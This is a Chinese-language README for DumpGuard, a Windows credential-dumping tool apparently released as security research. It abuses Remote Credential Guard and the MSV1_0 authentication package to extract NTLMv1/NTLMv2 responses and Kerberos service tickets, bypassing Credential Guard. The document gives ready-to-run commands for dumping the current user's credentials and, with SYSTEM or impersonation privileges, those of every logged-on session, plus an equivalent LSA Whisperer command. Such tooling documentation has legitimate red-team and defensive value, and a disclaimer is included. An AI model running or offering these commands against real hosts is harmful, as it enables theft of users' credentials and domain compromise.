
DumpGuard 是一款针对现代 Windows 系统的凭据转储与协议研究工具。它滥用 Remote Credential Guard 协议,即使在启用了 Credential Guard 的情况下也能恢复凭据材料,同时还包含了一条用于面向会话的 NTLM 提取的 Microsoft v1 身份验证包路径。
当前功能包括:
你可以从本仓库的发布版块下载预构建的二进制文件。
免责声明: 本工具严格仅用于教育和合法的测试目的。本仓库作者不纵容或支持任何形式的滥用,并且不对因使用本工具造成的损害或法律后果承担任何责任。
下表总结了当前已实现的技术。
| 技术 | 命令 | 需要 SYSTEM | 需要 SPN 账户 | 可转储 Credential Guard |
|---|---|---|---|---|
| 通过 Remote Credential Guard 提取 NTLMv1 | ntlmv1 | self: ❌all: ✅ | ✅ | ✅ |
| 通过 Remote Credential Guard 提取 NTLMv2 | ntlmv2 | self: ❌all: ✅ | ✅ | ✅ |
| 通过 Remote Credential Guard 提取 Kerberos TGS | kerbtgs | self: ❌all: ✅ | ✅ | ✅ |
| 通过 Microsoft v1 身份验证包提取 NTLMv1 | msv10 | ✅ | ❌ | ❌ |
DumpGuard 采用 命令 加 目标 的模式。
命令 选择提取技术。目标 选择是对当前会话操作还是枚举所有会话。支持的命令:
/command:ntlmv1/command:ntlmv2/command:kerbtgs/command:msv10支持的目标:
/target:self/target:all通用的 Remote Credential Guard 参数:
/domain:<域>/username:<SAM账户名>/password:<密码>/spn:<SPN>Kerberos TGS 参数:
/tgsdomain:<域>/tgsspn:<SPN>如果对计算机账户省略了 /spn,DumpGuard 默认使用 HOST/<计算机名>。
要在非特权上下文中转储当前用户的凭据材料,DumpGuard 使用 Remote Credential Guard 向一个启用了 SPN 的账户进行身份验证,然后在已建立的安全上下文中发出后续请求。
无论 Credential Guard 处于何种状态,此方法均有效,但需要拥有启用了 SPN 的账户的凭据。
权限要求:无。
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:self /domain:<域> /username:<SAM账户名> /password:<密码> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:self /domain:<域> /username:<SAM账户名> /password:<密码> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:self /domain:<域> /username:<SAM账户名> /password:<密码> [/spn:<SPN>] [/tgsdomain:<域>] /tgsspn:<服务/主机>
如果省略了 /tgsdomain,则默认使用 Remote Credential Guard 的 /domain 值。
要在特权上下文中转储所有当前可访问用户的凭据材料,DumpGuard 模拟正在运行的进程的令牌,使用 Remote Credential Guard 向一个启用了 SPN 的账户进行身份验证,然后在已建立的安全上下文中发出后续请求。
无论 Credential Guard 处于何种状态,此方法均有效,但需要拥有启用了 SPN 的账户的凭据。
权限要求:SYSTEM 或 管理员(需要 SeImpersonatePrivilege)。
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:all /domain:<域> /username:<SAM账户名> /password:<密码> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:all /domain:<域> /username:<SAM账户名> /password:<密码> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:all /domain:<域> /username:<SAM账户名> /password:<密码> [/spn:<SPN>] [/tgsdomain:<域>] /tgsspn:<服务/主机>
如果省略了 /tgsdomain,则默认使用 Remote Credential Guard 的 /domain 值。
要在特权 SYSTEM 上下文中转储当前已认证用户的 NTLM 响应,DumpGuard 直接与 NTLM SSP 交互,并为每个发现的登录会话请求挑战响应。
此方法仅在以下条件下有效:
权限要求:SYSTEM(需要 SeTcbPrivilege)。
DumpGuard.exe /command:msv10
此攻击也可以通过 LSA Whisperer 使用以下命令执行:
lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {会话ID} --challenge {挑战值} [标志...]
我已对 Credential Guard (LsaIso.exe) 暴露的接口进行了逆向工程和重建,并将其包含在此仓库中,供有兴趣进一步研究的人使用。
截至 2025 年 10 月,已实现以下接口:
感谢 SpecterOps 对本次研究的支持,以及在工作进展中提供帮助的同事们。